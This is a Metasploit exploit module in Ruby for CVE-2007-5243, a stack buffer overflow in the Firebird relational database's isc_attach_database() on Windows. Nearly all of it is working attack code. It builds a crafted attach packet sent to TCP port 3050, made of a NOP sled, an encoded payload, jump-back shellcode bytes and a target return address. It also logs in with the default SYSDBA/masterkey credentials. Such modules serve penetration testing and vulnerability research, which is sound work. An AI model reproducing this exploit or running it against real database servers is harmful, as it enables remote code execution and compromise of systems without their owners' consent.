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## # $Id: fb_isc_attach_database.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::BruteTargets def initialize(info = {}) super(update_info(info, 'Name' => 'Firebird Relational Database isc_attach_database() Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Borland InterBase by sending a specially crafted create request. }, 'Version' => '$Revision: 9669 $', 'Author' => [ 'ramon', 'Adriano Lima <adriano@risesecurity.org>', ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'References' => [ [ 'CVE', '2007-5243' ], [ 'OSVDB', '38607' ], [ 'BID', '25917' ], [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ], ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x2f\x3a\x40\x5c", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Brute Force', { } ], # '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls' [ 'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)', { 'Length' => [ 756 ], 'Ret' => 0x00370b0b } ], # Debug [ 'Debug', { 'Length' => [ 756 ], 'Ret' => 0xaabbccdd } ], ], 'DefaultTarget' => 1, 'DisclosureDate'=> 'Oct 03 2007' )) register_options( [ Opt::RPORT(3050) ], self.class) end # Create database parameter block def dpb_create isc_dpb_user_name = 28 isc_dpb_password = 29 isc_dpb_version1 = 1 user = 'SYSDBA' pass = 'masterkey' dpb = '' dpb << [isc_dpb_version1].pack('c') dpb << [isc_dpb_user_name].pack('c') dpb << [user.length].pack('c') dpb << user dpb << [isc_dpb_password].pack('c') dpb << [pass.length].pack('c') dpb << pass dpb end # Calculate buffer padding def buf_padding(length = '') remainder = length.remainder(4) padding = 0 if remainder > 0 padding = (4 - remainder) end padding end def exploit_target(target) target['Length'].each do |length| connect # Attach database op_attach = 19 # Extra padding to trigger the exception extra_padding = 1024 * 16 buf = '' # Operation/packet type buf << [op_attach].pack('N') # Id buf << [0].pack('N') # Length buf << [length + extra_padding].pack('N') # Nop block buf << make_nops(length - payload.encoded.length - 13) # Payload buf << payload.encoded # Jump back into the nop block buf << "\xe9" + [-516].pack('V') # Jump back buf << "\xeb" + [-7].pack('c') # Random alpha data buf << rand_text_alpha(2) # Target buf << [target.ret].pack('V') # Random alpha data buf << rand_text_alpha(extra_padding) # Padding buf << "\x00" * buf_padding(length + extra_padding) # Database parameter block # Create database parameter block dpb = dpb_create # Database parameter block length buf << [dpb.length].pack('N') # Database parameter block buf << dpb # Padding buf << "\x00" * buf_padding(dpb.length) sock.put(buf) select(nil,nil,nil,4) handler end end end |
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